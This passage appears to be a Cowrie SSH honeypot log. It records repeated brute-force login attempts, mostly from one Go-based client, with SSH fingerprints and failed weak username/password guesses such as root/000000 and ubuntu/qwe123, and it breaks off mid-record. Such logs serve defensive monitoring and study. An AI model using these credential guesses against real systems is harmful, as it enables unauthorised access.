{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:55.359529Z","src_ip":"176.65.139.95","session":"897897832158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:55.759100Z","src_ip":"176.65.139.95","session":"897897832158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:56.862239Z","src_ip":"176.65.139.95","session":"897897832158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37494,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5335396599e","protocol":"ssh","message":"New connection: 176.65.139.95:37494 (159.203.135.109:22) [session: c5335396599e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:01.056926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:01.077218Z","src_ip":"176.65.139.95","session":"c5335396599e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:01.148101Z","src_ip":"176.65.139.95","session":"c5335396599e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:01.491930Z","src_ip":"176.65.139.95","session":"c5335396599e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:02.676462Z","src_ip":"176.65.139.95","session":"c5335396599e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37510,"dst_ip":"159.203.135.109","dst_port":22,"session":"6812146ceca5","protocol":"ssh","message":"New connection: 176.65.139.95:37510 (159.203.135.109:22) [session: 6812146ceca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:06.944924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:06.960643Z","src_ip":"176.65.139.95","session":"6812146ceca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:07.047374Z","src_ip":"176.65.139.95","session":"6812146ceca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:07.350217Z","src_ip":"176.65.139.95","session":"6812146ceca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:08.439862Z","src_ip":"176.65.139.95","session":"6812146ceca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50714,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac667a7561e3","protocol":"ssh","message":"New connection: 176.65.139.95:50714 (159.203.135.109:22) [session: ac667a7561e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:12.816602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:12.967987Z","src_ip":"176.65.139.95","session":"ac667a7561e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:12.971979Z","src_ip":"176.65.139.95","session":"ac667a7561e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:13.324581Z","src_ip":"176.65.139.95","session":"ac667a7561e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:14.409375Z","src_ip":"176.65.139.95","session":"ac667a7561e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60412,"dst_ip":"159.203.135.109","dst_port":22,"session":"35ec1913b13f","protocol":"ssh","message":"New connection: 176.65.139.95:60412 (159.203.135.109:22) [session: 35ec1913b13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:18.812899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:18.824952Z","src_ip":"176.65.139.95","session":"35ec1913b13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:18.956208Z","src_ip":"176.65.139.95","session":"35ec1913b13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:19.411673Z","src_ip":"176.65.139.95","session":"35ec1913b13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:20.515793Z","src_ip":"176.65.139.95","session":"35ec1913b13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60420,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fe70d302d1d","protocol":"ssh","message":"New connection: 176.65.139.95:60420 (159.203.135.109:22) [session: 9fe70d302d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:24.755831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:24.768492Z","src_ip":"176.65.139.95","session":"9fe70d302d1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:24.845588Z","src_ip":"176.65.139.95","session":"9fe70d302d1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:25.260276Z","src_ip":"176.65.139.95","session":"9fe70d302d1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:26.538568Z","src_ip":"176.65.139.95","session":"9fe70d302d1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47776,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfd2605b8845","protocol":"ssh","message":"New connection: 176.65.139.95:47776 (159.203.135.109:22) [session: cfd2605b8845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:31.356663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:31.418506Z","src_ip":"176.65.139.95","session":"cfd2605b8845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:31.576421Z","src_ip":"176.65.139.95","session":"cfd2605b8845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:31.929673Z","src_ip":"176.65.139.95","session":"cfd2605b8845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51362,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8c7527f8182","protocol":"ssh","message":"New connection: 159.203.92.129:51362 (159.203.135.109:22) [session: b8c7527f8182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:32.213541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:32.218303Z","src_ip":"159.203.92.129","session":"b8c7527f8182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:32.227408Z","src_ip":"159.203.92.129","session":"b8c7527f8182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LILIN","password":"123456","message":"login attempt [LILIN/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:32.282459Z","src_ip":"159.203.92.129","session":"b8c7527f8182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:33.022201Z","src_ip":"176.65.139.95","session":"cfd2605b8845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:33.289500Z","src_ip":"159.203.92.129","session":"b8c7527f8182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47786,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4d90e2e3b12","protocol":"ssh","message":"New connection: 176.65.139.95:47786 (159.203.135.109:22) [session: f4d90e2e3b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:38.003794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:38.012568Z","src_ip":"176.65.139.95","session":"f4d90e2e3b12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","s